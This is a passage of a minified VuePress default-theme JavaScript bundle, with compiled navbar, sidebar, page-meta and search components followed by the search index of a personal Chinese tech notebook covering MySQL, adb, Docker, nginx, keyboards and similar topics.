n===o},Ks=(e,t)=>e.link&&Ih(e.link,t)?!0:e.children?e.children.some(n=>Ks(n,t)):!1,Ws=e=>!Yn(e)||/github\.com/.test(e)?"GitHub":/bitbucket\.org/.test(e)?"Bitbucket":/gitlab\.com/.test(e)?"GitLab":/gitee\.com/.test(e)?"Gitee":null,Sh={GitHub:":repo/edit/:branch/:path",GitLab:":repo/-/edit/:branch/:path",Gitee:":repo/edit/:branch/:path",Bitbucket:":repo/src/:branch/:path?mode=edit&spa=0&at=:branch&fileviewer=file-view-default"},Vh=({docsRepo:e,editLinkPattern:t})=>{if(t)return t;const n=Ws(e);return n!==null?Sh[n]:null},Mh=({docsRepo:e,docsBranch:t,docsDir:n,filePathRelative:o,editLinkPattern:l})=>{if(!o)return null;const r=Vh({docsRepo:e,editLinkPattern:l});return r?r.replace(/:repo/,Yn(e)?e:`https://github.com/${e}`).replace(/:branch/,t).replace(/:path/,ds(`${us(n)}/${o}`)):null},$h={key:0,class:"navbar-items"},Nh=de({__name:"NavbarItems",setup(e){const t=()=>{const u=Jt(),d=Zn(),f=gs(),E=Nl(),A=Nf(),B=qe();return j(()=>{const x=Object.keys(f.value.locales);if(x.length<2)return[];const T=u.currentRoute.value.path,C=u.currentRoute.value.fullPath;return[{text:`${B.value.selectLanguageText}`,ariaLabel:`${B.value.selectLanguageAriaLabel??B.value.selectLanguageText}`,children:x.map(b=>{var P,W;const H=((P=f.value.locales)==null?void 0:P[b])??{},Y=((W=A.value.locales)==null?void 0:W[b])??{},M=`${H.lang}`,g=Y.selectLanguageName??M;let I;if(M===E.value.lang)I=C;else{const k=T.replace(d.value,b);u.getRoutes().some(V=>V.path===k)?I=C.replace(T,k):I=Y.home??b}return{text:g,link:I}})}]})},n=()=>{const u=qe(),d=j(()=>u.value.repo),f=j(()=>d.value?Ws(d.value):null),E=j(()=>d.value&&!Yn(d.value)?`https://github.com/${d.value}`:d.value),A=j(()=>E.value?u.value.repoLabel?u.value.repoLabel:f.value===null?"Source":f.value:null);return j(()=>!E.value||!A.value?[]:[{text:A.value,link:E.value}])},o=u=>Ee(u)?Wl(u):u.children?{...u,children:u.children.map(o)}:u,l=()=>{const u=qe();return j(()=>(u.value.navbar||[]).map(o))},r=_e(!1),i=l(),a=t(),s=n(),c=j(()=>[...i.value,...a.value,...s.value]);return zs(Mn.MOBILE,u=>{window.innerWidthc.value.length?(z(),te("nav",$h,[(z(!0),te(ye,null,Ot(c.value,f=>(z(),te("div",{key:f.text,class:"navbar-item"},[f.children?(z(),Ce(Fh,{key:0,item:f,class:Ke(r.value?"mobile":"")},null,8,["item","class"])):(z(),Ce(_t,{key:1,item:f},null,8,["item"]))]))),128))])):xe("v-if",!0)}}),Ys=we(Nh,[["__file","NavbarItems.vue"]]),Hh=["title"],qh={class:"icon",focusable:"false",viewBox:"0 0 32 32"},jh=Fc(' ',9),zh=[jh],Uh={class:"icon",focusable:"false",viewBox:"0 0 32 32"},Kh=pe("path",{d:"M13.502 5.414a15.075 15.075 0 0 0 11.594 18.194a11.113 11.113 0 0 1-7.975 3.39c-.138 0-.278.005-.418 0a11.094 11.094 0 0 1-3.2-21.584M14.98 3a1.002 1.002 0 0 0-.175.016a13.096 13.096 0 0 0 1.825 25.981c.164.006.328 0 .49 0a13.072 13.072 0 0 0 10.703-5.555a1.01 1.01 0 0 0-.783-1.565A13.08 13.08 0 0 1 15.89 4.38A1.015 1.015 0 0 0 14.98 3z",fill:"currentColor"},null,-1),Wh=[Kh],Yh=de({__name:"ToggleColorModeButton",setup(e){const t=qe(),n=Kl(),o=()=>{n.value=!n.value};return(l,r)=>(z(),te("button",{class:"toggle-color-mode-button",title:ne(t).toggleColorMode,onClick:o},[_o((z(),te("svg",qh,zh,512)),[[Bo,!ne(n)]]),_o((z(),te("svg",Uh,Wh,512)),[[Bo,ne(n)]])],8,Hh))}}),Zh=we(Yh,[["__file","ToggleColorModeButton.vue"]]),Gh=["title"],Jh=pe("div",{class:"icon","aria-hidden":"true"},[pe("span"),pe("span"),pe("span")],-1),Qh=[Jh],Xh=de({__name:"ToggleSidebarButton",emits:["toggle"],setup(e){const t=qe();return(n,o)=>(z(),te("div",{class:"toggle-sidebar-button",title:ne(t).toggleSidebar,"aria-expanded":"false",role:"button",tabindex:"0",onClick:o[0]||(o[0]=l=>n.$emit("toggle"))},Qh,8,Gh))}}),ep=we(Xh,[["__file","ToggleSidebarButton.vue"]]),tp=de({__name:"Navbar",emits:["toggle-sidebar"],setup(e){const t=qe(),n=_e(null),o=_e(null),l=_e(0),r=j(()=>l.value?{maxWidth:l.value+"px"}:{});zs(Mn.MOBILE,a=>{var c;const s=i(n.value,"paddingLeft")+i(n.value,"paddingRight");window.innerWidth{const c=gt("NavbarSearch");return z(),te("header",{ref_key:"navbar",ref:n,class:"navbar"},[le(ep,{onToggle:s[0]||(s[0]=u=>a.$emit("toggle-sidebar"))}),pe("span",{ref_key:"navbarBrand",ref:o},[le(yh)],512),pe("div",{class:"navbar-items-wrapper",style:Nn(r.value)},[Ae(a.$slots,"before"),le(Ys,{class:"can-hide"}),Ae(a.$slots,"after"),ne(t).colorModeSwitch?(z(),Ce(Zh,{key:0})):xe("v-if",!0),le(c)],4)],512)}}}),np=we(tp,[["__file","Navbar.vue"]]),op={class:"page-meta"},lp={key:0,class:"meta-item edit-link"},rp={key:1,class:"meta-item last-updated"},ip={class:"meta-item-label"},sp={class:"meta-item-info"},ap={key:2,class:"meta-item contributors"},cp={class:"meta-item-label"},up={class:"meta-item-info"},dp=["title"],fp=de({__name:"PageMeta",setup(e){const t=()=>{const s=qe(),c=Yt(),u=vt();return j(()=>{if(!(u.value.editLink??s.value.editLink??!0))return null;const{repo:f,docsRepo:E=f,docsBranch:A="main",docsDir:B="",editLinkText:x}=s.value;if(!E)return null;const T=Mh({docsRepo:E,docsBranch:A,docsDir:B,filePathRelative:c.value.filePathRelative,editLinkPattern:u.value.editLinkPattern??s.value.editLinkPattern});return T?{text:x??"Edit this page",link:T}:null})},n=()=>{const s=qe(),c=Yt(),u=vt();return j(()=>{var E,A;return!(u.value.lastUpdated??s.value.lastUpdated??!0)||!((E=c.value.git)!=null&&E.updatedTime)?null:new Date((A=c.value.git)==null?void 0:A.updatedTime).toLocaleString()})},o=()=>{const s=qe(),c=Yt(),u=vt();return j(()=>{var f;return u.value.contributors??s.value.contributors??!0?((f=c.value.git)==null?void 0:f.contributors)??null:null})},l=qe(),r=t(),i=n(),a=o();return(s,c)=>{const u=gt("ClientOnly");return z(),te("footer",op,[ne(r)?(z(),te("div",lp,[le(_t,{class:"meta-item-label",item:ne(r)},null,8,["item"])])):xe("v-if",!0),ne(i)?(z(),te("div",rp,[pe("span",ip,Re(ne(l).lastUpdatedText)+": ",1),le(u,null,{default:Ve(()=>[pe("span",sp,Re(ne(i)),1)]),_:1})])):xe("v-if",!0),ne(a)&&ne(a).length?(z(),te("div",ap,[pe("span",cp,Re(ne(l).contributorsText)+": ",1),pe("span",up,[(z(!0),te(ye,null,Ot(ne(a),(d,f)=>(z(),te(ye,{key:f},[pe("span",{class:"contributor",title:`email: ${d.email}`},Re(d.name),9,dp),f!==ne(a).length-1?(z(),te(ye,{key:0},[It(", ")],64)):xe("v-if",!0)],64))),128))])])):xe("v-if",!0)])}}}),hp=we(fp,[["__file","PageMeta.vue"]]),pp={key:0,class:"page-nav"},mp={class:"inner"},Ep={key:0,class:"prev"},vp={key:1,class:"next"},_p=de({__name:"PageNav",setup(e){const t=s=>s===!1?null:Ee(s)?Wl(s):Ml(s)?s:!1,n=(s,c,u)=>{const d=s.findIndex(f=>f.link===c);if(d!==-1){const f=s[d+u];return f!=null&&f.link?f:null}for(const f of s)if(f.children){const E=n(f.children,c,u);if(E)return E}return null},o=vt(),l=Yl(),r=Qt(),i=j(()=>{const s=t(o.value.prev);return s!==!1?s:n(l.value,r.path,-1)}),a=j(()=>{const s=t(o.value.next);return s!==!1?s:n(l.value,r.path,1)});return(s,c)=>i.value||a.value?(z(),te("nav",pp,[pe("p",mp,[i.value?(z(),te("span",Ep,[le(_t,{item:i.value},null,8,["item"])])):xe("v-if",!0),a.value?(z(),te("span",vp,[le(_t,{item:a.value},null,8,["item"])])):xe("v-if",!0)])])):xe("v-if",!0)}}),gp=we(_p,[["__file","PageNav.vue"]]),bp={class:"page"},Ap={class:"theme-default-content"},yp=de({__name:"Page",setup(e){return(t,n)=>{const o=gt("Content");return z(),te("main",bp,[Ae(t.$slots,"top"),pe("div",Ap,[Ae(t.$slots,"content-top"),le(o),Ae(t.$slots,"content-bottom")]),le(hp),le(gp),Ae(t.$slots,"bottom")])}}}),Bp=we(yp,[["__file","Page.vue"]]),kp={class:"sidebar-item-children"},wp=de({__name:"SidebarItem",props:{item:{type:Object,required:!0},depth:{type:Number,required:!1,default:0}},setup(e){const t=e,{item:n,depth:o}=Ro(t),l=Qt(),r=Jt(),i=j(()=>Ks(n.value,l)),a=j(()=>({"sidebar-item":!0,"sidebar-heading":o.value===0,active:i.value,collapsible:n.value.collapsible})),s=j(()=>n.value.collapsible?i.value:!0),[c,u]=kf(s.value),d=E=>{n.value.collapsible&&(E.preventDefault(),u())},f=r.afterEach(E=>{zn(()=>{c.value=s.value})});return Kn(()=>{f()}),(E,A)=>{var x;const B=gt("SidebarItem",!0);return z(),te("li",null,[ne(n).link?(z(),Ce(_t,{key:0,class:Ke(a.value),item:ne(n)},null,8,["class","item"])):(z(),te("p",{key:1,tabindex:"0",class:Ke(a.value),onClick:d,onKeydown:Eu(d,["enter"])},[It(Re(ne(n).text)+" ",1),ne(n).collapsible?(z(),te("span",{key:0,class:Ke(["arrow",ne(c)?"down":"right"])},null,2)):xe("v-if",!0)],34)),(x=ne(n).children)!=null&&x.length?(z(),Ce(Us,{key:2},{default:Ve(()=>[_o(pe("ul",kp,[(z(!0),te(ye,null,Ot(ne(n).children,T=>(z(),Ce(B,{key:`${ne(o)}${T.text}${T.link}`,item:T,depth:ne(o)+1},null,8,["item","depth"]))),128))],512),[[Bo,ne(c)]])]),_:1})):xe("v-if",!0)])}}}),xp=we(wp,[["__file","SidebarItem.vue"]]),Lp={key:0,class:"sidebar-items"},Dp=de({__name:"SidebarItems",setup(e){const t=Qt(),n=Yl();return je(()=>{Ge(()=>t.hash,o=>{const l=document.querySelector(".sidebar");if(!l)return;const r=document.querySelector(`.sidebar a.sidebar-item[href="${t.path}${o}"]`);if(!r)return;const{top:i,height:a}=l.getBoundingClientRect(),{top:s,height:c}=r.getBoundingClientRect();si+a&&r.scrollIntoView(!1)})}),(o,l)=>ne(n).length?(z(),te("ul",Lp,[(z(!0),te(ye,null,Ot(ne(n),r=>(z(),Ce(xp,{key:`${r.text}${r.link}`,item:r},null,8,["item"]))),128))])):xe("v-if",!0)}}),Cp=we(Dp,[["__file","SidebarItems.vue"]]),Tp={class:"sidebar"},Rp=de({__name:"Sidebar",setup(e){return(t,n)=>(z(),te("aside",Tp,[le(Ys),Ae(t.$slots,"top"),le(Cp),Ae(t.$slots,"bottom")]))}}),Pp=we(Rp,[["__file","Sidebar.vue"]]),Op=de({__name:"Layout",setup(e){const t=Yt(),n=vt(),o=qe(),l=j(()=>n.value.navbar!==!1&&o.value.navbar!==!1),r=Yl(),i=_e(!1),a=x=>{i.value=typeof x=="boolean"?x:!i.value},s={x:0,y:0},c=x=>{s.x=x.changedTouches[0].clientX,s.y=x.changedTouches[0].clientY},u=x=>{const T=x.changedTouches[0].clientX-s.x,C=x.changedTouches[0].clientY-s.y;Math.abs(T)>Math.abs(C)&&Math.abs(T)>40&&(T>0&&s.x<=80?a(!0):a(!1))},d=j(()=>[{"no-navbar":!l.value,"no-sidebar":!r.value.length,"sidebar-open":i.value},n.value.pageClass]);let f;je(()=>{f=Jt().afterEach(()=>{a(!1)})}),Io(()=>{f()});const E=Hs(),A=E.resolve,B=E.pending;return(x,T)=>(z(),te("div",{class:Ke(["theme-container",d.value]),onTouchstart:c,onTouchend:u},[Ae(x.$slots,"navbar",{},()=>[l.value?(z(),Ce(np,{key:0,onToggleSidebar:a},{before:Ve(()=>[Ae(x.$slots,"navbar-before")]),after:Ve(()=>[Ae(x.$slots,"navbar-after")]),_:3})):xe("v-if",!0)]),pe("div",{class:"sidebar-mask",onClick:T[0]||(T[0]=C=>a(!1))}),Ae(x.$slots,"sidebar",{},()=>[le(Pp,null,{top:Ve(()=>[Ae(x.$slots,"sidebar-top")]),bottom:Ve(()=>[Ae(x.$slots,"sidebar-bottom")]),_:3})]),Ae(x.$slots,"page",{},()=>[ne(n).home?(z(),Ce(bh,{key:0})):(z(),Ce(Wn,{key:1,name:"fade-slide-y",mode:"out-in",onBeforeEnter:ne(A),onBeforeLeave:ne(B)},{default:Ve(()=>[(z(),Ce(Bp,{key:ne(t).path},{top:Ve(()=>[Ae(x.$slots,"page-top")]),"content-top":Ve(()=>[Ae(x.$slots,"page-content-top")]),"content-bottom":Ve(()=>[Ae(x.$slots,"page-content-bottom")]),bottom:Ve(()=>[Ae(x.$slots,"page-bottom")]),_:3}))]),_:3},8,["onBeforeEnter","onBeforeLeave"]))])],34))}}),Fp=we(Op,[["__file","Layout.vue"]]),Ip={class:"theme-container"},Sp={class:"page"},Vp={class:"theme-default-content"},Mp=pe("h1",null,"404",-1),$p=de({__name:"NotFound",setup(e){const t=Zn(),n=qe(),o=n.value.notFound??["Not Found"],l=()=>o[Math.floor(Math.random()*o.length)],r=n.value.home??t.value,i=n.value.backToHome??"Back to home";return(a,s)=>{const c=gt("RouterLink");return z(),te("div",Ip,[pe("main",Sp,[pe("div",Vp,[Mp,pe("blockquote",null,Re(l()),1),le(c,{to:ne(r)},{default:Ve(()=>[It(Re(ne(i)),1)]),_:1},8,["to"])])])])}}}),Np=we($p,[["__file","NotFound.vue"]]),Hp=St({enhance({app:e,router:t}){e.component("Badge",ff),e.component("CodeGroup",If),e.component("CodeGroupItem",$f),e.component("AutoLinkExternalIcon",()=>{const o=e.component("ExternalLinkIcon");return o?ce(o):null}),e.component("NavbarSearch",()=>{const o=e.component("Docsearch")||e.component("SearchBox");return o?ce(o):null});const n=t.options.scrollBehavior;t.options.scrollBehavior=async(...o)=>(await Hs().wait(),n(...o))},setup(){Hf(),zf()},layouts:{Layout:Fp,NotFound:Np}}),qp=e=>e instanceof Element?document.activeElement===e&&(["TEXTAREA","SELECT","INPUT"].includes(e.tagName)||e.hasAttribute("contenteditable")):!1,jp=(e,t)=>t.some(n=>{if(Ee(n))return n===e.key;const{key:o,ctrl:l=!1,shift:r=!1,alt:i=!1}=n;return o===e.key&&l===e.ctrlKey&&r===e.shiftKey&&i===e.altKey}),zp=/[^\x00-\x7F]/,Up=e=>e.split(/\s+/g).map(t=>t.trim()).filter(t=>!!t),ai=e=>e.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),ci=(e,t)=>{const n=t.join(" "),o=Up(e);if(zp.test(e))return o.some(i=>n.toLowerCase().indexOf(i)>-1);const l=e.endsWith(" ");return new RegExp(o.map((i,a)=>o.length===a+1&&!l?`(?=.*\\b${ai(i)})`:`(?=.*\\b${ai(i)}\\b)`).join("")+".+","gi").test(n)},Kp=({input:e,hotKeys:t})=>{if(t.value.length===0)return;const n=o=>{e.value&&jp(o,t.value)&&!qp(o.target)&&(o.preventDefault(),e.value.focus())};je(()=>{document.addEventListener("keydown",n)}),Kn(()=>{document.removeEventListener("keydown",n)})},Wp=[{title:"",headers:[{level:3,title:"2018.10.1 开封",slug:"_2018-10-1-开封",link:"#_2018-10-1-开封",children:[]},{level:3,title:"1月 ~ 2月",slug:"_1月-2月",link:"#_1月-2月",children:[]},{level:3,title:"3月",slug:"_3月",link:"#_3月",children:[]},{level:3,title:"5月",slug:"_5月",link:"#_5月",children:[]}],path:"/notebook/2019%E5%B9%B4%E5%B9%B4%E5%BA%A6%E6%B1%87%E6%8A%A5.html",pathLocale:"/",extraFields:[]},{title:"2022-8机械键盘需求",headers:[{level:2,title:"用过的",slug:"用过的",link:"#用过的",children:[{level:3,title:"雷柏 V805",slug:"雷柏-v805",link:"#雷柏-v805",children:[]},{level:3,title:"宁芝 82",slug:"宁芝-82",link:"#宁芝-82",children:[]}]},{level:2,title:"1公司用",slug:"_1公司用",link:"#_1公司用",children:[{level:3,title:"罗技MX keys",slug:"罗技mx-keys",link:"#罗技mx-keys",children:[]},{level:3,title:"Keychen K3",slug:"keychen-k3",link:"#keychen-k3",children:[]},{level:3,title:"TTC金粉,茶静",slug:"ttc金粉-茶静",link:"#ttc金粉-茶静",children:[]}]},{level:2,title:"2家里用",slug:"_2家里用",link:"#_2家里用",children:[{level:3,title:"rk 87",slug:"rk-87",link:"#rk-87",children:[]},{level:3,title:"黑峡谷",slug:"黑峡谷",link:"#黑峡谷",children:[]},{level:3,title:"rk 98",slug:"rk-98",link:"#rk-98",children:[]},{level:3,title:"达尔优",slug:"达尔优",link:"#达尔优",children:[]},{level:3,title:"fl cmk 98",slug:"fl-cmk-98",link:"#fl-cmk-98",children:[]},{level:3,title:"akko",slug:"akko",link:"#akko",children:[]},{level:3,title:"珂芝",slug:"珂芝",link:"#珂芝",children:[]}]}],path:"/notebook/2022-8%E6%9C%BA%E6%A2%B0%E9%94%AE%E7%9B%98%E9%9C%80%E6%B1%82.html",pathLocale:"/",extraFields:[]},{title:"Mysql",headers:[{level:2,title:"2020/9/28",slug:"_2020-9-28",link:"#_2020-9-28",children:[{level:3,title:"重置mysql密码",slug:"重置mysql密码",link:"#重置mysql密码",children:[]}]},{level:2,title:"2020/4/5",slug:"_2020-4-5",link:"#_2020-4-5",children:[{level:3,title:"select insert",slug:"select-insert",link:"#select-insert",children:[]}]},{level:2,title:"2020/3/29",slug:"_2020-3-29",link:"#_2020-3-29",children:[{level:3,title:"mysql 语句分析:",slug:"mysql-语句分析",link:"#mysql-语句分析",children:[]},{level:3,title:"数据类型为text 的时间字段, 对比",slug:"数据类型为text-的时间字段-对比",link:"#数据类型为text-的时间字段-对比",children:[]},{level:3,title:"输出表的字段名 2020/03/26",slug:"输出表的字段名-2020-03-26",link:"#输出表的字段名-2020-03-26",children:[]},{level:3,title:"查询所有符合要求的行数, 同时取limit数据",slug:"查询所有符合要求的行数-同时取limit数据",link:"#查询所有符合要求的行数-同时取limit数据",children:[]}]},{level:2,title:"3/29:",slug:"_3-29",link:"#_3-29",children:[]}],path:"/notebook/Mysql.html",pathLocale:"/",extraFields:[]},{title:"这里是notebook",headers:[],path:"/notebook/",pathLocale:"/",extraFields:[]},{title:"[k2p]更新官改固件v1.9中的ssr-server",headers:[],path:"/notebook/k2p_%E6%9B%B4%E6%96%B0%E5%AE%98%E6%94%B9%E5%9B%BA%E4%BB%B6v1.9%E4%B8%AD%E7%9A%84ssr-server.html",pathLocale:"/",extraFields:[]},{title:"[n1盒子]使用n1盒子以及罗技摄像头进行直播",headers:[],path:"/notebook/n1%E7%9B%92%E5%AD%90_%E4%BD%BF%E7%94%A8n1%E7%9B%92%E5%AD%90%E4%BB%A5%E5%8F%8A%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4%E8%BF%9B%E8%A1%8C%E7%9B%B4%E6%92%AD.html",pathLocale:"/",extraFields:[]},{title:"adb",headers:[{level:3,title:"adb 更换壁纸 2020/4/29",slug:"adb-更换壁纸-2020-4-29",link:"#adb-更换壁纸-2020-4-29",children:[]},{level:3,title:"adb 授予/撤销 应用权限 2020/4/27",slug:"adb-授予-撤销-应用权限-2020-4-27",link:"#adb-授予-撤销-应用权限-2020-4-27",children:[]},{level:3,title:"adb推送后,图片在相册中不显示 2020/4/26",slug:"adb推送后-图片在相册中不显示-2020-4-26",link:"#adb推送后-图片在相册中不显示-2020-4-26",children:[]},{level:3,title:"清空应用缓存 2020/4/19",slug:"清空应用缓存-2020-4-19",link:"#清空应用缓存-2020-4-19",children:[]}],path:"/notebook/adb.html",pathLocale:"/",extraFields:[]},{title:"cf-tools",headers:[{level:3,title:"cf-tool下载",slug:"cf-tool下载",link:"#cf-tool下载",children:[]},{level:3,title:"windows准备工作",slug:"windows准备工作",link:"#windows准备工作",children:[]},{level:3,title:"LINUX 准备工作",slug:"linux-准备工作",link:"#linux-准备工作",children:[]},{level:2,title:"配置cf",slug:"配置cf",link:"#配置cf",children:[]},{level:2,title:"简单的流程",slug:"简单的流程",link:"#简单的流程",children:[]}],path:"/notebook/cf-tools.html",pathLocale:"/",extraFields:[]},{title:"django缓存",headers:[],path:"/notebook/django%E7%BC%93%E5%AD%98.html",pathLocale:"/",extraFields:[]},{title:"2020/5/9 docKer 时区设置",headers:[{level:2,title:"Ubuntu 16.04 阿里源",slug:"ubuntu-16-04-阿里源",link:"#ubuntu-16-04-阿里源",children:[]},{level:2,title:"pip 国内源",slug:"pip-国内源",link:"#pip-国内源",children:[]}],path:"/notebook/docker.html",pathLocale:"/",extraFields:[]},{title:"k2p-luci",headers:[{level:3,title:"2022/6/1",slug:"_2022-6-1",link:"#_2022-6-1",children:[]}],path:"/notebook/k2p-luci.html",pathLocale:"/",extraFields:[]},{title:"kodi",headers:[{level:2,title:"家庭网络",slug:"家庭网络",link:"#家庭网络",children:[]},{level:2,title:"场景需求",slug:"场景需求",link:"#场景需求",children:[]},{level:2,title:"我不在家",slug:"我不在家",link:"#我不在家",children:[]},{level:2,title:"我在家",slug:"我在家",link:"#我在家",children:[]},{level:2,title:"插线板",slug:"插线板",link:"#插线板",children:[]}],path:"/notebook/kodi.html",pathLocale:"/",extraFields:[]},{title:"日志",headers:[{level:2,title:"关闭.bash_history",slug:"关闭-bash-history",link:"#关闭-bash-history",children:[]},{level:2,title:"关闭mysql连接日志",slug:"关闭mysql连接日志",link:"#关闭mysql连接日志",children:[]},{level:2,title:"关闭SSH日志",slug:"关闭ssh日志",link:"#关闭ssh日志",children:[]}],path:"/notebook/linux%E5%85%B3%E9%97%AD%E8%AE%BF%E9%97%AE%E6%97%A5%E5%BF%97%E5%8F%8Amysql.html",pathLocale:"/",extraFields:[]},{title:"linux学习",headers:[{level:3,title:"删除含有行的文件",slug:"删除含有行的文件",link:"#删除含有行的文件",children:[]},{level:2,title:"软连接 2020/4/20",slug:"软连接-2020-4-20",link:"#软连接-2020-4-20",children:[{level:3,title:"删除所有以.log结尾的文件 20200806",slug:"删除所有以-log结尾的文件-20200806",link:"#删除所有以-log结尾的文件-20200806",children:[]}]}],path:"/notebook/linux%E5%AD%A6%E4%B9%A0.html",pathLocale:"/",extraFields:[]},{title:"mac+win10双系统下的时间问题",headers:[{level:2,title:"解决问题",slug:"解决问题",link:"#解决问题",children:[]},{level:2,title:"遇到的问题",slug:"遇到的问题",link:"#遇到的问题",children:[]},{level:2,title:"20220207 时间不同步的真正原因",slug:"_20220207-时间不同步的真正原因",link:"#_20220207-时间不同步的真正原因",children:[]},{level:2,title:"2022020 使用intel连接设置",slug:"_2022020-使用intel连接设置",link:"#_2022020-使用intel连接设置",children:[]}],path:"/notebook/mac_win10%E5%8F%8C%E7%B3%BB%E7%BB%9F%E4%B8%8B%E7%9A%84%E6%97%B6%E9%97%B4%E9%97%AE%E9%A2%98.html",pathLocale:"/",extraFields:[]},{title:"markdown学习",headers:[],path:"/notebook/markdown%E5%AD%A6%E4%B9%A0.html",pathLocale:"/",extraFields:[]},{title:"nginx简洁",headers:[{level:2,title:"带PHP的页面",slug:"带php的页面",link:"#带php的页面",children:[]},{level:2,title:"nginx日志审计",slug:"nginx日志审计",link:"#nginx日志审计",children:[{level:3,title:"统计访问IP前十",slug:"统计访问ip前十",link:"#统计访问ip前十",children:[]},{level:3,title:"统计状态码",slug:"统计状态码",link:"#统计状态码",children:[]}]},{level:2,title:"nginx 安全",slug:"nginx-安全",link:"#nginx-安全",children:[{level:3,title:"账户验证",slug:"账户验证",link:"#账户验证",children:[]}]}],path:"/notebook/nginx.html",pathLocale:"/",extraFields:[]},{title:"oceanus",headers:[{level:2,title:"操作步骤",slug:"操作步骤",link:"#操作步骤",children:[]},{level:2,title:"问题1",slug:"问题1",link:"#问题1",children:[]},{level:2,title:"问题2",slug:"问题2",link:"#问题2",children:[]},{level:2,title:"问题3:",slug:"问题3",link:"#问题3",children:[]},{level:2,title:"问题4 数据消费问题",slug:"问题4-数据消费问题",link:"#问题4-数据消费问题",children:[]},{level:2,title:"问题5 导出至clickhouse数据库",slug:"问题5-导出至clickhouse数据库",link:"#问题5-导出至clickhouse数据库",children:[]}],path:"/notebook/oceanus.html",pathLocale:"/",extraFields:[]},{title:"teg争霸赛",headers:[{level:3,title:"第一关 刷到10000",slug:"第一关-刷到10000",link:"#第一关-刷到10000",children:[]},{level:3,title:"第二关",slug:"第二关",link:"#第二关",children:[]},{level:3,title:"第三关 20201021",slug:"第三关-20201021",link:"#第三关-20201021",children:[]},{level:3,title:"第四关 20201022",slug:"第四关-20201022",link:"#第四关-20201022",children:[]},{level:3,title:"第五关 20201023",slug:"第五关-20201023",link:"#第五关-20201023",children:[]}],path:"/notebook/teg%E4%BA%89%E9%9C%B8%E8%B5%9B.html",pathLocale:"/",extraFields:[]},{title:"url",headers:[],path:"/notebook/url%E9%87%8D%E5%AE%9A%E5%90%91.html",pathLocale:"/",extraFields:[]},{title:"vscode替代codeblocks",headers:[{level:2,title:"准备工作",slug:"准备工作",link:"#准备工作",children:[{level:3,title:"测试编译器是否可用",slug:"测试编译器是否可用",link:"#测试编译器是否可用",children:[]}]},{level:2,title:"vscode配置",slug:"vscode配置",link:"#vscode配置",children:[{level:3,title:"插件安装",slug:"插件安装",link:"#插件安装",children:[]},{level:3,title:"vscode 初体验",slug:"vscode-初体验",link:"#vscode-初体验",children:[]},{level:3,title:"解决输出区域无法输入的问题",slug:"解决输出区域无法输入的问题",link:"#解决输出区域无法输入的问题",children:[]},{level:3,title:"生成文件放在固定目录,减少硬盘占用",slug:"生成文件放在固定目录-减少硬盘占用",link:"#生成文件放在固定目录-减少硬盘占用",children:[]}]}],path:"/notebook/vscode%E6%9B%BF%E4%BB%A3codeblock.html",pathLocale:"/",extraFields:[]},{title:"vue修改数组内的对象",headers:[],path:"/notebook/vue%E4%BF%AE%E6%94%B9%E6%95%B0%E7%BB%84%E5%86%85%E7%9A%84%E5%AF%B9%E8%B1%A1.html",pathLocale:"/",extraFields:[]},{title:"webpack-source_map",headers:[],path:"/notebook/webpack-source_map.html",pathLocale:"/",extraFields:[]},{title:"使用onedrive在win10和linux之间同步",headers:[{level:2,title:"上手:",slug:"上手",link:"#上手",children:[{level:3,title:"事前准备: Fedora/CentOS",slug:"事前准备-fedora-centos",link:"#事前准备-fedora-centos",children:[]},{level:3,title:"安装",slug:"安装",link:"#安装",children:[]},{level:3,title:"卸载",slug:"卸载",link:"#卸载",children:[]},{level:3,title:"进行配置",slug:"进行配置",link:"#进行配置",children:[]},{level:3,title:"选择性同步",slug:"选择性同步",link:"#选择性同步",children:[]}]},{level:2,title:"本人的使用方法",slug:"本人的使用方法",link:"#本人的使用方法",children:[]}],path:"/notebook/%E4%BD%BF%E7%94%A8onedrive%E5%9C%A8win10%E5%92%8Clinux%E4%B9%8B%E9%97%B4%E5%90%8C%E6%AD%A5.html",pathLocale:"/",extraFields:[]},{title:"使用罗技摄像头+斐讯n1盒子直播",headers:[],path:"/notebook/%E4%BD%BF%E7%94%A8%E7%BD%97%E6%8A%80%E6%91%84%E5%83%8F%E5%A4%B4_%E6%96%90%E8%AE%AFn1%E7%9B%92%E5%AD%90%E7%9B%B4%E6%92%AD.html",pathLocale:"/",extraFields:[]},{title:"分辨率",headers:[{level:2,title:"物理分辨率",slug:"物理分辨率",link:"#物理分辨率",children:[]},{level:2,title:"设置分辨率",slug:"设置分辨率",link:"#设置分辨率",children:[]},{level:2,title:"PPI",slug:"ppi",link:"#ppi",children:[]},{level:2,title:"ui分辨率",slug:"ui分辨率",link:"#ui分辨率",children:[]},{level:2,title:"游戏分辨率",slug:"游戏分辨率",link:"#游戏分辨率",children:[]},{level:2,title:"nvidia dsr",slug:"nvidia-dsr",link:"#nvidia-dsr",children:[]},{level:2,title:"推断",slug:"推断",link:"#推断",children:[]},{level:2,title:"4k显示器尺寸的选择",slug:"_4k显示器尺寸的选择",link:"#_4k显示器尺寸的选择",children:[]}],path:"/notebook/%E5%88%86%E8%BE%A8%E7%8E%87.html",pathLocale:"/",extraFields:[]},{title:"甲骨文服务器凉凉",headers:[{level:2,title:"20200911甲骨文复活辣",slug:"_20200911甲骨文复活辣",link:"#_20200911甲骨文复活辣",children:[]},{level:2,title:"2020/2/24",slug:"_2020-2-24",link:"#_2020-2-24",children:[]},{level:2,title:"20200215 甲骨文凉凉",slug:"_20200215-甲骨文凉凉",link:"#_20200215-甲骨文凉凉",children:[]},{level:2,title:"处理笔记的分类方式",slug:"处理笔记的分类方式",link:"#处理笔记的分类方式",children:[{level:3,title:"笔记的种类:",slug:"笔记的种类",link:"#笔记的种类",children:[]},{level:3,title:"可用的笔记,提醒,便签软件",slug:"可用的笔记-提醒-便签软件",link:"#可用的笔记-提醒-便签软件",children:[]},{level:3,title:"场景",slug:"场景",link:"#场景",children:[]}]},{level:2,title:"找到合适的写日记软件",slug:"找到合适的写日记软件",link:"#找到合适的写日记软件",children:[]}],path:"/notebook/%E5%8D%9A%E5%AE%A2%E6%90%AD%E5%BB%BA.html",pathLocale:"/",extraFields:[]},{title:"变量命名相关",headers:[],path:"/notebook/%E5%8F%98%E9%87%8F%E5%91%BD%E5%90%8D%E7%9B%B8%E5%85%B3.html",pathLocale:"/",extraFields:[]},{title:"图形抗锯齿",headers:[{level:2,title:"",slug:"",link:"#",children:[]}],path:"/notebook/%E5%9B%BE%E5%BD%A2%E6%8A%97%E9%94%AF%E9%BD%BF.html",pathLocale:"/",extraFields:[]},{title:"密码管理",headers:[],path:"/notebook/%E